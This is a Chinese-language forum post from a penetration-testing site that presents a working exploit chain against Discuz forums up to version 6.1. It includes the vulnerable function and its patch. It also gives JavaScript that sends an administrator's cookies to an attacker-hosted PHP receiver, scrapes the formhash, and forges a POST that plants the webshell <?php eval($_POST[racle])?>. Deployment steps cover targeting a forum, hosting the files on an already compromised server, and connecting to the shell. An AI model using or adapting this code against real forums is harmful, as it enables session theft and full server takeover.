中国网络渗透测试联盟
标题:
Discuz XSS得webshell
[打印本页]
作者:
admin
时间:
2012-9-13 17:11
标题:
Discuz XSS得webshell
Discuz XSS得webshell
& l5 l3 G0 l" y# C+ _# B5 ^/ U \
By racle @tian6.com
$ K. J/ D1 w8 |5 @0 I1 C
欢迎转帖.但请保留版权信息.
8 k, b3 y- e$ x/ r9 b
受影响版本
iscuz<=6.1.0,gbk+utf+big5
3 C. I4 q d1 [+ y% J4 B; t8 Q
5 g/ k7 L( g3 e, [9 m) d
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
/ s) L0 @3 Z) `6 R1 x
$ m; h- Y' H! ]
9 g3 Z. H* I* [
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:
http://bbs.tian6.com/redirect.ph
... 54794&ptid=8706
3 d6 Q* {# i2 H, y& L
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
+ Y* J0 M7 Z. Y. F: u
$ n: }$ m! t" b6 L s% I# M
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
/ t' n0 s f/ y7 h( [
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
4 T8 g) m* f5 ~5 e9 }' N' S
+ ?, y% y8 J+ L
4 }) `5 D" O9 B+ \8 O( T$ I
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
) N. E/ c# y$ T5 O" ?7 ]% n) j
( O- P/ k& u# R
+ f' ]+ ?& m6 R3 ~9 i6 ]
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
. ` w0 C8 W" Q$ R/ F
) a+ f' Z! \: s [' d
problem2
ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
) f& V# c( R p6 b
0 H8 F: I6 w& C
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
D- s E/ r' P0 N
2 M! q9 N7 g% m/ l( T& s5 h
M% l' F! B) Y! E" U
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
- Z6 }1 p& T5 \" Z! C1 A
, J6 P( A" z7 ]: V2 Y
global $runwizardfile, $runwizardhistory;
4 V: J/ y Q2 d3 g+ `& i! f) E
1 [2 p& b# a! W4 V; U7 _
$fp = fopen($runwizardfile, 'w');
1 J3 g' k& K: r8 ~+ w1 m
3 D- B8 Q/ t, i8 n; g5 V2 @4 c0 l6 n
fwrite($fp, serialize($runwizardhistory));
# o5 S0 ?2 @9 m- m' C
. {5 K# N& W9 u8 p% b1 v
fclose($fp);
6 |* P. J- K) [. X2 f' v$ R4 u* @7 {
2 _2 H" k i+ j3 \
}
& B( P/ j2 L, P1 B% \. ]. `: @: L
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
2 D: q# V% v- P* D; S4 X
以下是修补的办法:function saverunwizardhistory() {
) N7 ], c( n6 ^/ ^! n$ c
) S" E6 |% U9 U4 l! S
global $runwizardfile, $runwizardhistory;
- @$ e' s* F R1 y( T
; r, [ \* R5 N2 V1 |0 m
$fp = fopen($runwizardfile, 'w');
: N4 ^ O4 ~0 \+ u }
6 M4 \ i2 ]4 y$ U8 [
$s = '<?php exit;?>';
% }. ~0 Y' _( J, U4 F
/ |% v8 A* S! E, `+ U5 o
$s .= serialize($runwizardhistory);
! T# p9 A, Q _, B2 b" j% O
2 j2 h( H) [2 h5 U7 z1 D* |
fwrite($fp, $s);
' K5 n* s. k6 ?9 z3 ^; W4 M
2 [! J/ ]6 \5 S) L/ b8 o
fclose($fp);
. K- `, y% |% P0 |3 i/ `* G
@ L/ } w7 R2 \! e+ _
}
) g* I& B8 ~8 z7 O. W
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
# o' k; u/ b2 ~ P' @
" r/ \* a+ | a4 m
, m9 i( t5 O# u. j
' _1 Q& d" R1 U6 r2 J
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
5 M2 G y# Y2 F: G* K
. ^5 c% r8 a& l6 N5 G8 |2 X2 o
, c: F7 M0 g3 ]; d) t5 W0 x. @+ a5 c
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
1 ?4 K9 ], a9 v. A
% F' ?8 M( s# D- r7 O$ v. e
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
) w9 y' m1 k& c0 ?: ]; u. [% G
( s( }! W, O$ W% P0 T
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
) q k0 q# W; d6 p5 ?# t
3 [$ C' X( W, N* q; l, c Y
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
o5 _4 ^# r2 @0 F1 O7 S6 ^
" k0 b5 Z! D, J Q" \
var url="http://目标网站/admincp.php";
# g% j- A5 V2 X/ O& y9 n
# b2 T2 m5 f9 d7 A3 \* ?4 X& s
/*获得cookies*/
2 U1 f) l+ o5 w- `4 q- I$ c, _! ?
; e/ u* d& S0 v1 m
function getURL(s) {
v8 J- P# v Z
: f: [0 o6 P7 B3 B
var image = new Image();
?0 H, _6 a/ A3 x: F
0 Z0 |- ~8 t' D
image.style.width = 0;
. x. q& G+ T% V7 e3 d
{* c7 r! ?) R7 S
image.style.height = 0;
) k' n% K1 T; u( g7 X& ~
3 d5 O2 p; o3 c3 ?+ @0 e7 g
image.src = s;
7 T/ I9 L, s/ Y D; E* g8 H" T" |
3 d1 W& r" S% @, D
}
1 `, \) S; {2 O: ?1 ~
. |5 L, o! a( {' S* H% E, B$ h0 l
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
: j$ T# F% K0 W% E$ _
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
* B/ |* }* J5 _: R, L+ i! s( r; r
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
5 }3 z2 d/ T k9 g& t
3 B% I# G) d: j. ^/ A2 b( V/ K
& g% l8 N7 B" y: N% C) d
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
$ p6 o0 ]2 s# x, g; W1 W$ W
5 ^3 j' P% V8 F8 p
/ `, e! c6 V3 V5 b
% B2 q X( p" [) D: Z0 j
/*hash*/
) m1 ?! m S* W( b$ ]; d' X+ s0 d
% \2 u. V0 Z- m) R- B) o5 I
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
. L. R: s8 u6 D% B7 x, C( E
8 b1 \& E; B6 U% j- K: F
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
* _2 @( v! j" Z3 w7 R k
& `8 b& u2 ~- B+ O' s& q; D
xmlHttpReq.send();
5 E: T( O/ w1 r$ I" t
* }8 J5 `* u- M- ~( \
var resource = xmlHttpReq.responseText;
; H: ] G) G. g. Q' U/ p
6 `7 z% ^" K2 B* O' m g
var numero = resource.search(/formhash/);
. n. \! S1 p5 A( [+ S( S2 X
$ Y1 r8 M, c) G+ @
var formhash=encodeURIComponent(resource.substr(numero+17,8));
6 ~4 d" M* @7 V" u
' c6 B' Q2 |; Z$ T) G
0 Z8 h# C" O1 x1 ~ A5 X4 b! ?
# S ^0 g. h* B5 I+ l
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
- g8 k r( p; W- a. h# C
! P# C/ v2 q1 j0 ]/ ]% t: {
xmlHttpReq.open("
OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
6 u1 J n/ r) O6 [" }- @
) g* h" R! \8 V. K V
xmlHttpReq.setRequestHeader("Referer", url);
, o2 I; v. |. w+ R
5 ` |$ y7 f0 v
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
w% u% E1 ?/ O9 G0 {% B3 u
; n2 e Y7 P z8 v& X) G8 k
xmlHttpReq.setrequestheader("content-length",post.length);
X0 n" t3 _# p2 q- d/ O+ z- T
8 ]+ R+ k) F2 J2 ~8 H- d
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
1 F: c: `. p/ M$ l
9 K7 h5 Y8 O2 f6 t7 g5 G& B
xmlHttpReq.send(post);//发送数据
" f8 V0 O8 |* \" x) m+ D: y0 R
复制代码这里HASH我假设正确,这样提交,也无须cookies
5 t/ Z) [" l- \8 F O( b' n2 n
9 n+ U4 H. G' s- F; ?* q
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
. H+ r8 A- g+ F* o# H+ P9 B
% O# n5 `$ M0 ~: U
if (!$sock) die("$errstr ($errno)\n");
2 t0 J" |: ~& E6 M' U
* Q, B \( b3 L) h& k" s6 x
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
! A$ q9 \0 w5 \- H4 v/ Q
, Z$ ^) d, D5 Q9 ^1 L' x0 Z; W
. P5 e8 l+ B N' `: g
$ Y' S3 V( a. n0 t% S& S+ x$ j* ^
fwrite($sock, "
OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
& I4 s6 \' P8 |0 w2 o3 o: }
- S0 @8 b0 Q/ b- G2 j
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
+ Q3 {/ L H4 O) L1 F
* h* ~) ]) I/ ]! D6 t9 s! D& G
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
; \! R7 P3 x' A% C6 U) D# p6 m- Z
' C! f, h4 v/ W; H% u
fwrite($sock, "Accept-Language: zh-cn\r\n");
" H& U9 _. o5 I# N2 O
j0 Q% C0 p9 i9 J- Y
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
% z8 Z+ c- Z- U4 Y6 b
- u7 `0 Y. s4 }
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
& W0 R& {( g" @( w3 W: N3 y0 W
0 g' Z6 a* v* l0 {
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;
http://bsalsa.com
) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;
http://bsalsa.com
) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
& m5 I& q- N) I! U- d
5 A) y& a l% n2 I
fwrite($sock, "Host: $url\r\n");
( y4 g. F$ N8 `: R, R/ k
+ |4 `; H6 ?% M8 Q1 \9 M; H0 ^
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
2 X' z: z. }9 y& y
[, L7 `% p; c5 s4 y5 _
fwrite($sock, "Connection: Keep-Alive\r\n");
, Y" `& P; D( Z. Z/ h- g3 d
' V: b1 `; s ]$ e2 H2 W+ A
fwrite($sock, "Cache-Control: no-cache\r\n");
9 M* Q8 |1 v; g( S9 b
& ^& O2 d& g( E; W$ A+ D% c5 _3 U
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
3 N$ z4 F+ z5 Y* z- h" d* I. e0 D) j
9 f* Y7 w. F3 G, I7 `% l
fwrite($sock, $data);
7 \! {1 i8 W7 z( p4 H, i' I
! ]. }. T) u3 o0 Q9 J0 B) Z
" x( C; I( Y" \+ F5 S& C9 T2 A0 v, Q
3 {6 a% D: _; h
$headers = "";
3 r- n7 |! f4 v. Z/ a
- `$ a/ w. x, f2 m
while ($str = trim(fgets($sock, 4096)))
# M. O0 z+ Y: ]4 C
4 `' n! M6 i- K5 N0 Z3 {
$headers .= "$str\n";
N5 ?" l! P+ v0 g" \* [
5 `# {% b+ f$ m6 W5 S$ v, Y: T
echo "\n";
& l9 e: c) F7 A$ M/ o( E3 c
# p9 ]9 h+ j. @% b
$body = "";
/ r }' e2 y9 L: ?7 [% H" z1 w
- k$ Q F1 Y% f; h
while (!feof($sock))
$ ?6 X6 b# C' W4 X8 R, J" u
0 x6 R# p& P& _6 F9 o
$body .= fgets($sock, 4096);
0 H: T \9 O; I4 M
' ?! ^5 |* X# u g9 O
fclose($sock);
- v; o5 }5 ^3 s! X: H
( s! z7 |& f6 P3 @
echo $body;
) O1 r$ G |4 d% j) G( e* `* d
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
0 Y, f; |: o/ A
1 K' [- g! w* Y, o$ N
: ~) z. x8 ^" e; T
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
$ E, _' J' T' s# ]
4 ^* M# \- @- N h5 f- ^
4 [" m% Q/ ~& D' Z$ ?$ c
1
HP SOCKET利用方法首先打开racle.js
6 y, ]. E( W( U6 @4 [
& |0 z; @1 K8 ~4 u& [" R) t
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如
http://www.discuz.com/admincp.php?action=home
1 j7 e, i. L. T1 O
# U1 m+ k+ f; z; K7 S
: E; V3 `9 |7 D$ R4 W% ^
7 o4 Z$ \1 i+ M, b6 D
然后打开
racle@tian6.php
+ S- P! v. f3 k: W4 B
0 P1 ~; n5 y1 C7 h
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如
www.discuz.com
$ h4 R) |0 [8 c
( n, [6 A6 j i2 i8 o
6 O3 c& u% v$ \: }" n
5 i# I# a- n( p" r' e
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
( Y: t+ {# D2 E7 ^) d j
# R7 E) E+ u% |- g2 q! U! Y) P
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
/ j. J1 I# U; g1 W6 M i8 ^8 o
7 @; R% L# X8 X) R
为
# x. y4 u+ R* i$ a6 g. ]5 n5 O. V+ Q
8 H; q6 J. } T% V) l$ P: }
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
+ @& ]9 P' b8 T& _8 L
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
/ b! _$ z# C# \) F& r8 T9 w0 V
" g* E- B3 f9 x$ ?! a& T
5 h* m# S3 q t9 L7 R
$ b7 X5 j+ U8 n8 K! T
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
2 ~1 x" [( r7 }
% {6 C8 b3 B! i) D, @
var formhash=encodeURIComponent(resource.substr(numero+17,8));
6 u, u+ h( \& D) W
/ m1 `7 r! s$ U+ m" C
为
3 [: E1 |9 Q: c) K2 R1 ?
7 p, r( O4 c' a( }$ C$ J
var formhash=encodeURIComponent(resource.substr(numero+9,8));
4 _/ R6 J/ D" y r
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:
http://target.com/bbs/forumdata/logs/runwizardlog.php
,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
; z9 a G4 {" h# t
: i" Y4 t7 K! {0 }% t& g
如果是第一种方法,就把racle.js,还有
racle@tian6.php
文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
Y0 o; M- [9 ]8 {$ x& l/ Q
" E) J' Y# v' L+ L/ L G
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
3 O# W5 P6 O$ T* Q: S
u- _, ~' P" @& K3 Q+ Y5 x: @
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
' A1 {/ v. z$ ^; {) g
+ U# ]1 t# A: |; l/ N" S" }
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2